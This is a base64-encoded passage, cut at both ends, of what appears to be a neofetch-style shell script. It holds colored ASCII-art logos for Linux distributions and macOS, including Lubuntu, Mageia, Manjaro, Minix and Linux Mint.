C5sME1NTU1NTwogICAua05NTU1NTVdNTU1OLAogICBLTU1NTU1NS01NTU1NTW8KICAnTU1NTU1NTktNTU1NTU06CiAga01NTU1NTU9NTU1NTU1PCiAuTU1NTU1NWDBNTU1NTVcuCiBvTU1NTU1NeFdNTU1NTToKIFdNTU1NTU5rTU1NTU1PCjpNTU1NTU1PWE1NTU1XCi4wTU1NTU14TU1NTU07Cjo7Y0tNTVd4TU1NTU8KJ01NV01NWE9NTU1NbAoga01NTU1LT01NTU1NWDoKIC5XTU1NTUtPV01NTTBjCiAgbE1NTU1NV08wTU5kOicKICAgb29sbFhNS1hveGw7LgogICAgICc6LiAuOiAuJwogICAgICAgICAgICAgIC4uCiAgICAgICAgICAgICAgICAuCkVPRgogICAgICAgIDs7CgogICAgICAgICJMTURFIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwogICAgICAgICAke2MyfWAuLTo6LS0tLi4KJHtjMX0gICAgICAuOisrKytvb29vb3Nzc29vOi4KICAgIC4rbysrOjouICAgICAgYC46b29zKy4KJHtjMX0gICA6b286LmAgICAgICAgICAgICAgLStvbyR7YzJ9Ogoke2MxfSAke2MyfWAke2MxfStvL2AgICAgLiR7YzJ9Ojo6Ojo6JHtjMX0tLiAgICAuKystJHtjMn1gCiR7YzF9JHtjMn1gJHtjMX0vcy8gICAgLnl5eXl5eXl5eXlvOiAgICtvLSR7YzJ9YAoke2MxfSR7YzJ9YCR7YzF9c28gICAgIC5zcyAgICAgICBvaHlvYCA6cy0ke2MyfToKJHtjMX0ke2MyfWAke2MxfXMvICAgICAuc3MgIGggIG0gIG15eS8gL3NgJHtjMn1gCiR7YzF9YHM6ICAgICBgb28gIHMgIG0gIE15eSstbzpgCmBvbyAgICAgIDorc2Rvb2h5b3lkeXNvLy4KIDpvLiAgICAgIC46Ly8vLy8vLy8rKzoKJHtjMX0gYC8rKyAgICAgICAgJHtjMn0tOjo6OjotCiR7YzF9ICAke2MyfWAke2MxfSsrLQoke2MxfSAgICR7YzJ9YCR7YzF9LystCiR7YzF9ICAgICAke2MyfS4ke2MxfSsvLgoke2MxfSAgICAgICAke2MyfS4ke2MxfTorLS4KICAgICAgICAgIGAtLS5gYApFT0YKICAgICAgICA7OwoKICAgICAgICAiTHVidW50dSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgYC46L29zc3l5eXlzc28vOi4KICAgICAgICBgLjp5eXl5eXl5eXl5eXl5eXl5eXk6LmAKICAgICAgLjp5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXk6LgogICAgLjp5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5Oi4KICAgLXl5eXl5eXl5eXl5eXl5JHtjMn0raE5NTU1OaCske2MxfXl5eXl5eXl5eS0KICA6eXkke2MyfW1OeSske2MxfXl5eXl5eXl5JHtjMn0rTm1zbysrc21NZGh5eXNvbyske2MxfXl5OgogLXl5JHtjMn0rTU1NbW15JHtjMX15eXl5eXkke2MyfWhoJHtjMX15eXl5eXl5eXl5eXl5eXl5eXl5LQoueXl5eSR7YzJ9Tk1OJHtjMX15eSR7YzJ9c2hocyR7YzF9eXl5JHtjMn0rbyR7YzF9eXl5eXl5eXl5eXl5eXl5eXl5eXkuCjp5eXl5JHtjMn1vTk0rJHtjMX15eXl5JHtjMn0rc3NvJHtjMX15eXl5eXl5JHtjMn1zcyR7YzF9eXl5eXl5eXl5eXl5eToKOnl5eXl5JHtjMn0rZE5zJHtjMX15eXl5eXl5JHtjMn0rKyR7YzF9eXl5eXkke2MyfW9OKyR7YzF9eXl5eXl5eXl5eXl5Ogo6eXl5eXkke2MyfW9NTW1oeXNzbyR7YzF9eXl5eXl5eXl5eSR7YzJ9bU4rJHtjMX15eXl5eXl5eXl5eToKOnl5eXl5eSR7YzJ9aE1tJHtjMX15eXl5eSR7YzJ9KysrJHtjMX15eXl5eXl5JHtjMn0rTU4ke2MxfXl5eXl5eXl5eXl5OgoueXl5eXl5eSR7YzJ9b2hteSske2MxfXl5eXl5eXl5eXl5eXkke2MyfU5NaCR7YzF9eXl5eXl5eXl5eS4KIC15eXl5eXl5eXl5JHtjMn0rKyR7YzF9eXl5eXl5eXl5eXl5JHtjMn1NTWgke2MxfXl5eXl5eXl5eS0KICA6eXl5eXl5eXl5eXl5eXl5eXl5eXl5JHtjMn0rbU1OKyR7YzF9eXl5eXl5eXk6CiAgIC15eXl5eXl5eXl5eXl5eXl5eSR7YzJ9K3NkTU1kKyR7YzF9eXl5eXl5eXktCiAgICAuOnl5eXl5eXl5eSR7YzJ9aG1kbW1OTU5keSske2MxfXl5eXl5eXl5Oi4KICAgICAgLjp5eXl5eXl5JHtjMn1teSR7YzF9eXl5eXl5eXl5eXl5eXl5Oi4KICAgICAgICBgLjp5eXl5JHtjMn1zJHtjMX15eXl5eXl5eXl5eXl5Oi5gCiAgICAgICAgICAgYC46L29vc3l5eXlzc28vOi5gCkVPRgogICAgICAgIDs7CgogICAgICAgICJMdW5hciIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNyAzCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfWAtLiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGAtLgogIC1vaHlzLy1gICAgICAgICAgICAgICAgICAgICBgOitzaHkvYAogICAgIC1vbU5OZHlvL2AgICAgICAgICAgOitzaG1OTnkvYAogICAgICAgICAgICAgJHtjM30gICAgICAtCiAgICAgICAgICAgICAgICAgL21NbW8KICAgICAgICAgICAgICAgICBoTU1NTmAKICAgICAgICAgICAgICAgICAuTk1NcwogICAgJHtjMX0gIC06K29vb28rLy86ICR7YzN9L01OJHtjMX0uIC0vLy9vb29vKy8tYAogICAgIC86LmAgICAgICAgICAgJHtjM30vJHtjMX0gICAgICAgICAgIGAuOi9gCiR7YzN9ICAgICAgICAgIF9fCiAgICAgICAgIHwgIHwgICBfIF8gX19fIF9fXyBfX18KICAgICAgICAgfCAgfF9ffCB8IHwgICB8IC4nfCAgX3wKICAgICAgICAgfF9fX19ffF9fX3xffF98X18sfF98CkVPRgogICAgICAgIDs7CgogICAgICAgICJtYWMiKiJfc21hbGwiKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgMyAxIDUgNAogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgLjonCiAgICBfIDonXwoke2MyfSAuJ2BfYC0nX2BgLgo6X19fX19fX18uLScKJHtjM306X19fX19fXzoKOl9fX19fX186CiR7YzR9IDpfX19fX19fYC07CiR7YzV9ICBgLl8uLS5fLicKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIm1hYyIqIHwgIkRhcndpbiIpCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiAzIDEgMSA1IDQKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgICBjLicKICAgICAgICAgICAgICAgICAseE5NTS4KICAgICAgICAgICAgICAgLk9NTU1NbwogICAgICAgICAgICAgICBsTU0iCiAgICAgLjtsb2RkbzouICAub2xsb2Rkb2w7LgogICBjS01NTU1NTU1NTU1OV01NTU1NTU1NTU0wOgoke2MyfSAuS01NTU1NTU1NTU1NTU1NTU1NTU1NTU1NV2QuCiBYTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1YLgoke2MzfTtNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU06CjpNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU06CiR7YzR9Lk1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTVguCiBrTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NV2QuCiAke2M1fSdYTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1rCiAgJ1hNTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1LLgogICAgJHtjNn1rTU1NTU1NTU1NTU1NTU1NTU1NTU1NTWQKICAgICA7S01NTU1NTU1XWFhXTU1NTU1NTWsuCiAgICAgICAiY29vYyoiICAgICIqY29vJyIKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIm1hZ2VpYV9zbWFsbCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDYgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAqCiAgICAqCiAgICoqCiR7YzJ9IC9cXF9fL1xcCi8gICAgICBcXApcXCAgICAgIC8KIFxcX19fXy8KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIk1hZ2VpYSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDYgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgIC7CsMKwLgogICAgICAgICDCsMKwICAgLsKwwrAuCiAgICAgICAgIC7CsMKwwrAuIMKwwrAKICAgICAgICAgLiAgIC4KICAgICAgICAgIMKwwrDCsCAuwrDCsMKwLgogICAgICAuwrDCsMKwLiAgICdfX18nCiR7YzJ9ICAgICAuJHtjMX0nX19fJyAgICAgJHtjMn0gICAuCiAgIDpka3hjOycuICAuLixjeGtkOwogLmRray4ga2tra2tra2trayAua2tkLgouZGtrLiAgJztjbG9vbGM7LiAgLmtrZApja2suICAgICAgICAgICAgICAgIC5razsKeE86ICAgICAgICAgICAgICAgICAgY09kCnhPOiAgICAgICAgICAgICAgICAgIGxPZApsT08uICAgICAgICAgICAgICAgIC5PTzoKLmswMC4gICAgICAgICAgICAgIC4wMHgKIC5rMDA7ICAgICAgICAgICAgOzAwTy4KICAubE8wS2M7LCwsLCwsO2MwS09jLgogICAgIDtkMDBLS0tLS0swMGQ7CiAgICAgICAgLixLS0tLLC4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIk1hZ3BpZU9TIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiAxIDMgNQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgIDswMDAwMCAgICAgOjAwME9sCiAgICAgLngwMGtrMDA6ICAgIE8wa2swMGs7CiAgICBsMDA6ICAgOjAwLiAgbzBrICAgOk8way4KICAuazBrLiAgICAgeCR7YzJ9ZCRkZGRkJHtjMX1rJyAgICAuZDAwOwogIGsway4gICAgICAke2MyfS5kZGRkZGwgICAgICAgJHtjMX1vMDAsCiBvMDAuICAgICAgICAke2MyfSc6Y2M6LiAgICAgICAgJHtjMX1kME8KLjAwbCAgICAgICAgICAgICAgICAgICAgICAgLDAwLgpsMDAuICAgICAgICAgICAgICAgICAgICAgICBkMHgKazBPICAgICAgICAgICAgICAgICAgICAgLjprMG8KTzBrICAgICAgICAgICAgICAgICA7ZE8wMDAwZC4KazBPICAgICAgICAgICAgICAgLk8wTyR7YzJ9eHh4eGske2MxfTAwOgpvMDAuICAgICAgICAgICAgICBrME8ke2MyfWRkZGRkZCR7YzF9b2NjCicwMGwgICAgICAgICAgICAgIHgwTyR7YzJ9ZGRkZGRvJHtjM307Li4ke2MxfQogeDAwLiAgICAgICAgICAgICAueDAwJHtjMn1reHhkJHtjM306Li4ke2MxfQogLk8weCAgICAgICAgICAgICAgIC46b3h4eCR7YzR9T2tsLiR7YzF9CiAgLngwZCAgICAgICAgICAgICAgICAgICAgICR7YzR9LHh4LCR7YzF9CiAgICAuOm8uICAgICAgICAgICR7YzR9LnhkICAgICAgIGNrZCR7YzF9CiAgICAgICAuLiAgICAgICAgICAke2M0fWR4bCAgICAgLnh4OwogICAgICAgICAgICAgICAgICAgIDp4eG9sbGR4ZCcKICAgICAgICAgICAgICAgICAgICAgIDtveGRsLgpFT0YKICAgICAgICA7OwoKICAgICAgICAiTWFuZHJpdmEiKiB8ICJNYW5kcmFrZSIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgMwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgICAgICAgICAgICAgICAgICBgYAogICAgICAgICAgICAgICAgICAgICAgIGAtLgoke2MxfSAgICAgIGAgICAgICAgICAgICAgICAke2MyfS4tLS0KJHtjMX0gICAgLS8gICAgICAgICAgICAgICAke2MyfS06Oi0tYAoke2MxfSAgYCsrICAgICR7YzJ9YC0tLS0uLi5gYGAtOjo6OjouCiR7YzF9IGBvcy4gICAgICAke2MyfS46Ojo6Ojo6Ojo6Ojo6Oi1gYGAgICAgIGAgIGAKJHtjMX0gK3MrICAgICAgICAgJHtjMn0uOjo6Ojo6Ojo6Ojo6Ojo6Oi0tLS4uLi0tYAoke2MxfS1zczogICAgICAgICAgJHtjMn1gLTo6Ojo6Ojo6Ojo6Ojo6OjotLmBgLmBgCiR7YzF9L3NzLSAgICAgICAgICAgJHtjMn0uOjo6Ojo6Ojo6Ojo6LS5gYCAgIGAKJHtjMX0rc3M6ICAgICAgICAgICR7YzJ9Ljo6Ojo6Ojo6Ojo6Oi0KJHtjMX0vc3NvICAgICAgICAgJHtjMn0uOjo6Ojo6LTo6Ojo6Oi0KJHtjMX0uc3NzLyAgICAgICAke2MyfS06OjotLmAgICAuOjo6OjoKJHtjMX0gL3NzcysuICAgICR7YzJ9Li5gJHtjMX0gIGAtLWAgICAgJHtjMn0uOjo6CiR7YzF9ICAtb3Nzc28rLzo6Ly8rLy1gICAgICAgICAke2MyfS46YAoke2MxfSAgICAtLytvb28rLy0uICAgICAgICAgICAgICAke2MyfWAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIm1hbmphcm9fc21hbGwiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAyIDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9fHx8fHx8fHx8IHx8fHwKfHx8fHx8fHx8IHx8fHwKfHx8fCAgICAgIHx8fHwKfHx8fCB8fHx8IHx8fHwKfHx8fCB8fHx8IHx8fHwKfHx8fCB8fHx8IHx8fHwKfHx8fCB8fHx8IHx8fHwKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIk1hbmphcm8iKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAyIDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF94paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paIICDilojilojilojilojilojilojilojilogK4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paIICDilojilojilojilojilojilojilojilogK4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paIICDilojilojilojilojilojilojilojilogK4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paI4paIICDilojilojilojilojilojilojilojilogK4paI4paI4paI4paI4paI4paI4paI4paIICAgICAgICAgICAg4paI4paI4paI4paI4paI4paI4paI4paICuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAg4paI4paI4paI4paI4paI4paI4paI4paIICDilojilojilojilojilojilojilojilogK4paI4paI4paI4paI4paI4paI4paI4paIICDilojilojilojilojilojilojilojiloggIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiArilojilojilojilojilojilojilojiloggIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAg4paI4paI4paI4paI4paI4paI4paI4paICuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAg4paI4paI4paI4paI4paI4paI4paI4paIICDilojilojilojilojilojilojilojilogK4paI4paI4paI4paI4paI4paI4paI4paIICDilojilojilojilojilojilojilojiloggIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiArilojilojilojilojilojilojilojiloggIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAg4paI4paI4paI4paI4paI4paI4paI4paICuKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAg4paI4paI4paI4paI4paI4paI4paI4paIICDilojilojilojilojilojilojilojilogK4paI4paI4paI4paI4paI4paI4paI4paIICDilojilojilojilojilojilojilojiloggIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiArilojilojilojilojilojilojilojiloggIOKWiOKWiOKWiOKWiOKWiOKWiOKWiOKWiCAg4paI4paI4paI4paI4paI4paI4paI4paICkVPRgogICAgICAgIDs7CgogICAgICAgICJUZUFyY2giKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAzOSA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgIEBAQEBAQEBAQEBAQEBACiAgICAgIEBAQEBAQEBAQCAgICAgICAgICAgICAgQEBAQEBACiAgICAgQEBAQEAgICAgICAgICAgICAgICAgICAgICBAQEBAQAogICAgIEBAICAgICAgICAgICAgICAgICAgICAgICAgICAgQEAKICAgICAgQCUgICAgICAgICAgICAgICAgICAgICAgICAgQEAKICAgICAgIEAgICAgICAgICAgICAgICAgICAgICAgICAgQAogICAgICAgQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAIEBACiAgICAgICAuQEBAQEBAQEBAQEBAL0BAQEBAQEBAQEBAQAogICAgICAgQEBAQEBAQEBAQEBALy8vQEBAQEBAQEBAQEBACiAgICAgIEBAQEBAQEBAQEBAQEAoKCgoQEBAQEBAQEBAQEBACiAgICAgQEBAQEBAQEBAQEAjKCgoKCgoKCNAQEBAQEBAQEBAQAogICAgQEBAQEBAQEBAQEAjLy8vLy8vLy8vL0BAQEBAQEBAQEAmCiAgICBAQEBAQEBAQEBALy8vL0BAQEBALy8vL0BAQEBAQEBAQEAKICAgIEBAQEBAQEBALy8vLy8vQEBAQEAvLy8vL0BAQEBAQEBAQAogICAgQEBAQEBAQC8vQEBAQEBAQEBAQEBAQEBALy9AQEBAQEBACiBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAKQEAgICAgIC5AQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAICAgICAgQAogQEBAQEBAICAgICAgICAgICBAQEAuICAgICAgICAgICBAQEBAQEBACiAgIEBAQEBAQEAmQEBAQEBAQCMgICNAQEBAQEBAQEBAQEBAQEBACiAgICAgIEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBACiAgICAgICAgICBAQEBAQEBAQEBAQEBAQEBAQEBAQEAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIk1hdWkiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA2IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgIGAuLTovLy8vLy86LS1gCiAgICAgICAgIC46L29vb29vb29vb29vb29vb28rOi4KICAgICAgYDorb29vb29vb29vb29vb29vb29vb29vb286YAogICAgYDpvb29vb29vb29vb29vb29vb29vb29vb29vb29vL2AKICAgIC4uYGBgLW9vb29vby8tYGAgYDpvb29vb28rOi5gIGAtLQogIDouICAgICAgK29vKy1gICAgICAgIC9vb28vYCAgICAgICAtLwogLW8uICAgICBgbystICAgICAgICAgICtvL2AgICAgICAgICAtbzoKYG9vYCAgICAgOjpgICA6by8gICAgIGArLiAgLitvYCAgICAgL29vLgovbysgICAgICAuICAtK29vLSAgICAgYCAgIC9vby8gICAgIGBvb28vCitvLSAgICAgICAgL29vbytgICAgICAgIC4rb29vLiAgICAgOm9vbysKKysgICAgICAgLitvb29vOiAgICAgICAtb29vbysgICAgIGBvb29vKwo6LiAgICAgIC5vb29vb29gICAgICAgOm9vb29vLSAgICAgOm9vb286CmAgICAgICAub29vb29vOiAgICAgIDpvb29vbysgICAgIGBvb28rLWAKICAgICAgLitvb29vb29gICAgICAtb29vb29vOiAgICAgYG8vLQogICAgICArb29vb29vOiAgICAgLm9vb29vb28uCiAgICAgL29vb29vb29gICAgICAvb29vb29vby8gICAgICAgLi4KICAgIGA6b29vb29vb28vOjo6L29vb29vb29vbys6LS06LzpgCiAgICAgIGA6K29vb29vb29vb29vb29vb29vb29vb28rOmAKICAgICAgICAgLjorb29vb29vb29vb29vb29vbys6LgogICAgICAgICAgICAgYC4tOi8vLy8vLzotLmAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIk1lciIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNyAxCiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSAgICAgICAgICAgICAgICAgICAgICAgICBkTXMKICAgICAgICAgICAgICAgICAgICAgICAgIC4tYAogICAgICAgICAgICAgICAgICAgICAgIGB5YC1vK2AKICAgICAgICAgICAgICAgICAgICAgICAgYGBOTU15CiAgICAgICAgICAgICAgICAgICAgICAuLS1gOisrLgogICAgICAgICAgICAgICAgICAgIC5oTk5OTnMKICAgICAgICAgICAgICAgICAgICAvTU1NTU1OCiAgICAgICAgICAgICAgICAgICAgYG9tbW1kLyArLwogICAgICAgICAgICAgICAgICAgICAgYGBgYCAgKy8KICAgICAgICAgICAgICAgICAgICAgYDorc3Nzc28vLWAKICAuLTo6LiBgLTo6LWAgICAgIGBzbU5NTm1kbU5NTmQvICAgICAgLjovLy1gCi55bU5NTk5kbU5NTU5tK2AgIC1kTU1oOi4uLi4uK2RNTXMgICBgc05OTU1ObwpkTU4rOjpOTU15OjpoTU0rICBtTU1vIGBvaGh5LyBgZE1NKyAgeU1NeTo6LQpNTW0gICB5TU0tICA6TU1zICBOTU5gIGA6Ojo6Oi0tc01NaCAgZE1NYApNTW0gICB5TU0tICAtTU1zICBtTU0rIGB5bW1kc3ltTU1NcyAgZE1NYApOTmQgICBzTk4tICAtTk5zICAtbU1Ocy0uLS0uLjpkTU1oYCAgZE5OCi0tLSAgIC4tLWAgIGAtLS4gICAuc21NTW1kZGRtTU5kb2AgICAuLS0KICAgICAgICAgICAgICAgICAgICAgLi9vaGRkZHMrOmAKICAgICAgICAgICAgICAgICAgICAgK2gtIGAuOi0uCiAgICAgICAgICAgICAgICAgICAgIC4vYC5kTU1NTisKICAgICAgICAgICAgICAgICAgICAgICAgK01NTU1NZAogICAgICAgICAgICAgICAgICAgICAgICBgK2RtbXktCiAgICAgICAgICAgICAgICAgICAgICBgYGAgLitgCiAgICAgICAgICAgICAgICAgICAgIC5kTU5vLXkuCiAgICAgICAgICAgICAgICAgICAgIGBobW0vCiAgICAgICAgICAgICAgICAgICAgICAgICAuOmAKICAgICAgICAgICAgICAgICAgICAgICAgIGRNcwpFT0YKICAgICAgICA7OwoKICAgICAgICAiTWluaXgiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAxIDcgMwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAtc2RoeW8rOi1gICAgICAgICAgICAgICAgIC0vc3l5bW06CiAgIHNkeW9veW1tTk55LiAgICAgYGAgICAgLnNtTm1tZHlzTmQKICAgb2R5b3NvK3N5Tk5teXNveWhoZGhzb29tTm1tKy9vc2RtLwogICAgOmhoeSstL3N5Tk5tZGRoZGRkZGRkbU5NTm86c2ROZDoKICAgICBgc21OTmRObW1ObWRkZGRkZGRkZGRtbW1tbW1teWAKICAgYG9oaGhoZGRkZGRtbU5OZG1kZE5tTk5tZGRkZGRtZGgtCiAgIG9kTk5ObWR5by86Ly0vaE5kZE55LWAuLi0reWROTk5tZDoKIGArbU5obzpgICAgc21tZC8gc05OaCA6ZG1tc2AgICAtK3ltbW8uCi1vZC8gICAgICAgLW0ke2MxfW1tJHtjMn1tbyAtTk4rICttJHtjMX1tbSR7YzJ9bS0gICAgICAgeW1zOgorc21zIC0uYCAgICA6c286ICAuTk4rICA6b3MvICAgICAuLWBtTmg6Ci4taHloKzovLy8vLSAgICAgLXNOTmQ6YCAgICAuLS06Ly9vaE5zLQogYDpoTk5OTk5OTk1NZC9zTk1taHNkTU1oL3ltbU5OTm1tTk55LwogIC0rc05OTk5NTU5OTnNtTk1vOiA6Tk5teW1OTk5OTU1NbXM6CiAgICAvL295ZE5NTU1NeWRNTU55c05NTW1zTU1NTU1OeW8vYAogICAgICAgLi4vLXlOTU15LS0vOjovLS5zTU1tb3MrLmAKICAgICAgICAgICAtK295aE5zb29vK29teS9gYGAKICAgICAgICAgICAgICBgOjpvaGRtZHMtYApFT0YKICAgICAgICA7OwoKICAgICAgICAibGludXhtaW50X3NtYWxsIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMiA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfSBfX19fX19fX19fXwp8XyAgICAgICAgICBcXAogIHwgJHtjMn18IF9fX19fICR7YzF9fAogIHwgJHtjMn18IHwgfCB8ICR7YzF9fAogIHwgJHtjMn18IHwgfCB8ICR7YzF9fAogIHwgJHtjMn1cXF9fJHtjMn1fX18vICR7YzF9fAogIFxcX19fX19fX19fLwpFT0YKICAgICAgICA7OwoKICAgICAgICAiTGludXggTWludCBPbGQiKiB8ICJMaW51eE1pbnRPbGQiKiB8ICJtaW50X29sZCIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDIgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NTU1NbWRzKy4KTU1tLS0tLTo6LTovLy8vLy8vLy8vLy8vL295bU5NZCtgCk1NZCAgICAgICR7YzJ9LysrICAgICAgICAgICAgICAgICR7YzF9LXNOTWQ6Ck1NTnNvL2AgICR7YzJ9ZE1NICAgIGAuOjotLiAuLTo6LmAgJHtjMX0uaE1OOgpkZGRkTU1oICAke2MyfWRNTSAgIDpoTk1OTU5oTk1OTU5oOiAke2MxfWBOTW0KICAgIE5NbSAgJHtjMn1kTU0gIC5OTU4vLStNTU0rLS9OTU5gICR7YzF9ZE1NCiAgICBOTW0gICR7YzJ9ZE1NICAtTU1tICBgTU1NICAgZE1NLiAke2MxfWRNTQogICAgTk1tICAke2MyfWRNTSAgLU1NbSAgYE1NTSAgIGRNTS4gJHtjMX1kTU0KICAgIE5NbSAgJHtjMn1kTU0gIC5tbWQgIGBtbW0gICB5TU0uICR7YzF9ZE1NCiAgICBOTW0gICR7YzJ9ZE1NYCAgLi5gICAgLi4uICAgeWRtLiAke2MxfWRNTQogICAgaE1NLSAke2MyfStNTWQvLS0tLS0tLS4uLi06c2RkcyAgJHtjMX1kTU0KICAgIC1OTW0tICR7YzJ9OmhOTU5OTm1kZGRkZGRkZGR5L2AgICR7YzF9ZE1NCiAgICAgLWRNTnMtJHtjMn1gYC06Ojo6LS0tLS0tLS5gYCAgICAke2MxfWRNTQogICAgICBgL2RNTm15Ky86LS0tLS0tLS0tLS0tLToveU1NTQogICAgICAgICAuL3lkTk1NTU1NTU1NTU1NTU1NTU1NTU1NTQogICAgICAgICAgICAuTU1NTU1NTU1NTU1NTU1NTU1NTQpFT0YKICAgICAgICA7OwoKICAgICAgICAiTGludXggTWludCIqIHwgIkxpbnV4TWludCIqIHwgIm1pbnQiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAyIDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzJ9ICAgICAgICAgICAgIC4uLi06Ojo6Oi0uLi4KJHtjMn0gICAgICAgICAgLi1NTU1NTU1NTU1NTU1NTU0tLgogICAgICAuLU1NTU0ke2MxfWAuLi06Ojo6Ojo6LS4uYCR7YzJ9TU1NTS0uCiAgICAuOk1NTU0ke2MxfS46TU1NTU1NTU1NTU1NTU1NOi4ke2MyfU1NTU06LgogICAtTU1NJHtjMX0tTS0tLU1NTU1NTU1NTU1NTU1NTU1NTU0uJHtjMn1NTU0tCiBgOk1NTSR7YzF9Ok1NYCAgOk1NTU06Li4uLjo6LS4uLi1NTU1NOiR7YzJ9TU1NOmAKIDpNTU0ke2MxfTpNTU1gICA6TU06YCAgYGAgICAgYGAgIGA6TU1NOiR7YzJ9TU1NOgouTU1NJHtjMX0uTU1NTWAgIDpNTS4gIC1NTS4gIC5NTS0gIGBNTU1NLiR7YzJ9TU1NLgo6TU1NJHtjMX06TU1NTWAgIDpNTS4gIC1NTS0gIC5NTTogIGBNTU1NLSR7YzJ9TU1NOgo6TU1NJHtjMX06TU1NTWAgIDpNTS4gIC1NTS0gIC5NTTogIGBNTU1NOiR7YzJ9TU1NOgo6TU1NJHtjMX06TU1NTWAgIDpNTS4gIC1NTS0gIC5NTTogIGBNTU1NLSR7YzJ9TU1NOgouTU1NJHtjMX0uTU1NTWAgIDpNTTotLTpNTTotLTpNTTogIGBNTU1NLiR7YzJ9TU1NLgogOk1NTSR7YzF9Ok1NTS0gIGAtTU1NTU1NTU1NTU1NLWAgIC1NTU0tJHtjMn1NTU06CiAgOk1NTSR7YzF9Ok1NTTpgICAgICAgICAgICAgICAgIGA6TU1NOiR7YzJ9TU1NOgogICAuTU1NJHtjMX0uTU1NTTotLS0tLS0tLS0tLS0tLTpNTU1NLiR7YzJ9TU1NLgogICAgICctTU1NTSR7YzF9Li1NTU1NTU1NTU1NTU1NTU0tLiR7YzJ9TU1NTS0nCiAgICAgICAnLi1NTU1NJHtjMX1gYC0tOjo